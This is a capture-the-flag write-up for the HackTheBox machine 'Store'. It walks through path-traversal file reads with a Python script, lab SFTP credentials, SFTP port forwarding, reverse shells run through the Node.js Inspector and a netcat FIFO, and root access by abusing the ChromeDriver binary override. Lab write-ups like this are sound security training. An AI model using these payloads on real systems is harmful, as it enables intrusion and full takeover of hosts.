HTB: Store Writeup

Store - HackTheBox Writeup

Machine Information

AttributeDetails
NameStore
OSLinux
DifficultyHard
Points790
Release Date28 October 2025
IP Address10.129.238.32
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Store is a Hard difficulty Linux machine hosting a Node.js web application with file upload and storage functionality. The application is vulnerable to Arbitrary File Read (AFR), exposing sensitive configuration files and environment variables that reveal SFTP credentials and a critical Node.js --inspect flag running on an internal port. By leveraging SFTP for port forwarding, we can access the Node Inspector on port 9229, attach a debugger, and execute arbitrary JavaScript to spawn a reverse shell as the dev user. For privilege escalation, we exploit the ChromeDriver service listening on port 9515 via its WebDriver API to execute a malicious binary and gain root access.

TL;DR: AFR vuln → extract .env & environ → SFTP port forward → Node Inspector RCE (dev user) → ChromeDriver /session exploit → root shell


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- 10.129.238.32

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13
5000/tcp open http Node.js (Express middleware)
5001/tcp open http Node.js (Express middleware)
5002/tcp open http Node.js (Express middleware)

The target exposes three identical Node.js web applications running on ports 5000, 5001, and 5002, with SSH access on port 22.

Service Enumeration

Visiting the web application on port 5000 reveals a “Secure Encrypted Storage” interface that allows users to upload files. The application stores uploaded files and displays them in a “Stored files” section. Files can be viewed and downloaded via the /file/<file_name> endpoint.

Key observations:

  • The application uses Express middleware (Node.js framework)
  • Files are uploaded via the /upload endpoint
  • Files are retrieved via the /file/<file_name> endpoint
  • A /list endpoint displays all stored files
  • A /tmp directory is accessible and contains uploaded files

Vulnerability Assessment

Arbitrary File Read (AFR): The /file/ endpoint accepts file path parameters without proper validation, allowing directory traversal attacks via URL encoding.

Terminal window
ffuf -u http://10.129.238.32:5000/file/FUZZ -w /usr/share/wordlists/seclists/LFI-Jhaddix.txt -fs 567

Fuzzing reveals that the payload ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd successfully retrieves /etc/passwd. However, the file contents are encrypted—a critical clue for exploitation.

Directory Enumeration:

Terminal window
gobuster dir -k -u http://10.129.238.32:5000/ -w /usr/share/wordlists/seclists/raft-small-words-lowercase.txt -t 200

Results show /upload, /list, /tmp, /css, and /images directories. The /tmp directory stores encrypted versions of uploaded files.


Initial Foothold

Exploitation Path

Step 1: Decrypt Files via Upload-Download Cycle

The application encrypts files on upload but stores both encrypted and decrypted versions temporarily. By retrieving an encrypted file via AFR, uploading it back to the /upload endpoint, and downloading it from /tmp/, we can obtain the decrypted plaintext.

Create the exploitation script lfi.py:

#!/usr/bin/env python3
# Usage: python3 lfi.py <file_path>
import requests
import sys
import re
import base64
def download(file):
ip = '10.129.238.32'
file = file.replace('/', '%2F')
url = f'http://{ip}:5000/file/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F{file}'
try:
r = requests.get(url, timeout=3)
except requests.exceptions.Timeout:
print('The request timed out')
return None
print(f"Status Code: {r.status_code}")
if len(r.content) == 0:
return None
print('Found file... -> upload')
# Extract base64-encoded content from response
result = re.findall('base64,(.*?")', r.content.decode())
result = result[0]
result = result[:-1]
convertedbytes = base64.b64decode(result)
# Re-upload encrypted file
postUrl = f'http://{ip}:5000/upload'
multipart_form_data = {
'imageupload': ('data.bin', convertedbytes),
'uploadimage': (None, 'Upload File')
}
p = requests.post(postUrl, files=multipart_form_data)
url2 = f'http://{ip}:5000/tmp/data.bin'
r2 = requests.get(url2)
if len(r2.content) == 0:
return None
print(r2.content.decode())
download(sys.argv[1])

Step 2: Extract Sensitive Configuration Files

Retrieve the /home/dev/projects/store1/.env file:

Terminal window
python3 lfi.py /home/dev/projects/store1/.env

Output:

SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost
SECRET=Hm9zeWC38
STORE_HOME=/home/dev/projects/store1
PORT=5000

This reveals SFTP credentials and the encryption secret.

Retrieve environment variables via /proc/self/environ:

Terminal window
python3 lfi.py /proc/self/environ

Output contains:

npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'

This reveals that Node.js is running with the --inspect flag on port 9229, enabling remote debugging and code execution.

Step 3: Set Up SFTP Port Forwarding

The Node Inspector on port 9229 is only accessible locally. Use SFTP to establish port forwarding through a custom SSH handler.

Create sftp_port.sh:

#!/bin/sh
exec ssh -L9229:127.0.0.1:9229 "$@"

Make it executable:

Terminal window
chmod +x sftp_port.sh

Create a modified SFTP binary that allows port forwarding:

Terminal window
sed 's/AllForwardings yes/AllForwardings no /' < /usr/bin/sftp > sftp.noclearforward
chmod +x sftp.noclearforward

Establish the port forwarding connection:

Terminal window
./sftp.noclearforward -S ./sftp_port.sh -oClearAllForwardings\ no sftpuser@10.129.238.32
# Enter password: WidK52pWBtWQdcVC

Verify port 9229 is now accessible locally:

Terminal window
ss -tnlp | grep 9229

Output:

LISTEN 0 128 127.0.0.1:9229 0.0.0.0:* users (("ssh",pid=13990,fd=5))

Step 4: Exploit Node Inspector for RCE

Open a Chromium-based browser and navigate to chrome://inspect. The remote debugger target should appear. Click “inspect” to open the DevTools console.

Start a netcat listener:

Terminal window
nc -nvlp 1337

In the DevTools console, execute the reverse shell payload:

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "10.10.14.68", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents crash
})();

Result: Shell received as user dev:

$ nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.68] from (UNKNOWN) [10.129.238.32] 35544
id
uid=1001(dev) gid=1001(dev) groups=1001(dev)

Step 5: Upgrade Shell

Convert to a proper TTY shell:

Terminal window
script /dev/null -c bash
export TERM=xterm
# Press Ctrl+Z
stty raw -echo && fg
# Press Enter twice

Step 6: Capture User Flag

Terminal window
cat /home/dev/user.txt

Privilege Escalation

Exploitation Path

Step 1: Discover ChromeDriver Service

Enumerate listening ports on the compromised system:

Terminal window
ss -tnlp

Output:

LISTEN 0 5 127.0.0.1:9515 0.0.0.0:*

Port 9515 is typically used by ChromeDriver. Query the /status endpoint to confirm:

Terminal window
curl http://127.0.0.1:9515/status

Output:

{
"value": {
"build": {
"version": "110.0.5481.77 (65ed616c6e8ee3fe0ad64fe83796c020644d42af-refs/branch-heads/5481@{#839})"
},
"message": "ChromeDriver ready for new sessions.",
"os": {
"arch": "x86_64",
"name": "Linux",
"version": "6.8.0-1040-aws"
},
"ready": true
}
}

Confirmed: ChromeDriver is running.

Step 2: Create Reverse Shell Payload

Create a reverse shell script on the target system:

cat > /home/dev/rev.sh << 'EOF'
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.68 1337 >/tmp/f
EOF
chmod +x /home/dev/rev.sh

Step 3: Exploit ChromeDriver /session Endpoint

The ChromeDriver /session endpoint accepts a POST request with capabilities. By specifying goog:chromeOptions.binary, we can override the browser binary with an arbitrary executable.

Start a netcat listener:

Terminal window
nc -nvlp 1337

Send the malicious POST request:

Terminal window
curl -v -X POST 'http://127.0.0.1:9515/session' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' \
--data-raw '{"capabilities": {"alwaysMatch": {"goog:chromeOptions": {"binary": "/home/dev/rev.sh"}}}}'

ChromeDriver processes this request and attempts to launch the “browser” using /home/dev/rev.sh instead of the Chrome binary, executing our reverse shell.

Step 4: Receive Root Shell

Output on netcat listener:

$ nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.68] from (UNKNOWN) [10.129.238.32] 45586
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

Step 5: Capture Root Flag

Terminal window
cat /root/root.txt

Attack Chain Summary

Arbitrary File Read (.env)
Extract SFTP Credentials & Environment Variables
Discover Node.js --inspect Flag on Port 9229
SFTP Port Forwarding to Localhost
Chrome Inspector Remote Debugging
Execute Reverse Shell JavaScript
Shell as dev User
Discover ChromeDriver on Port 9515
Exploit /session Endpoint with Binary Override
Root Shell

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ffufFuzzing to identify AFR vulnerability
gobusterDirectory enumeration
curlHTTP requests and API interaction
requests (Python)Scripted HTTP interactions for file decryption
sftpSecure File Transfer Protocol with port forwarding
sshTunneling and port forwarding backend
netcatReverse shell listener
Chrome DevToolsNode Inspector debugging and code execution

Key Learnings

Techniques Practiced

  • Arbitrary File Read (AFR) exploitation via directory traversal
  • Encryption bypass through upload-download cycles
  • Environment variable enumeration to discover debug services
  • Port forwarding via SFTP for internal service access
  • Node.js Inspector debugging for remote code execution
  • ChromeDriver WebDriver API exploitation for binary execution
  • Reverse shell creation and TTY upgrading
  • Multi-stage exploitation combining multiple vulnerabilities

Lessons Learned

  1. Debug flags in production are critical vulnerabilities. The --inspect flag enabled remote debugging without authentication, leading directly to RCE.

  2. File encryption at rest doesn’t guarantee confidentiality. If the application can decrypt files for legitimate purposes, attackers can often leverage this functionality.

  3. SFTP can enable port forwarding creatively. Understanding SSH’s tunneling capabilities extends attack surface beyond traditional use cases.

  4. Service discovery reveals attack surfaces. Enumerating all listening ports revealed ChromeDriver, which had an exploitable API.

  5. Binary override in application launchers is dangerous. Allowing custom binaries to be executed, even in legitimate contexts, creates privilege escalation pathways.

  6. Credential exposure through environment variables. Applications should never expose sensitive data through accessible process environments.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>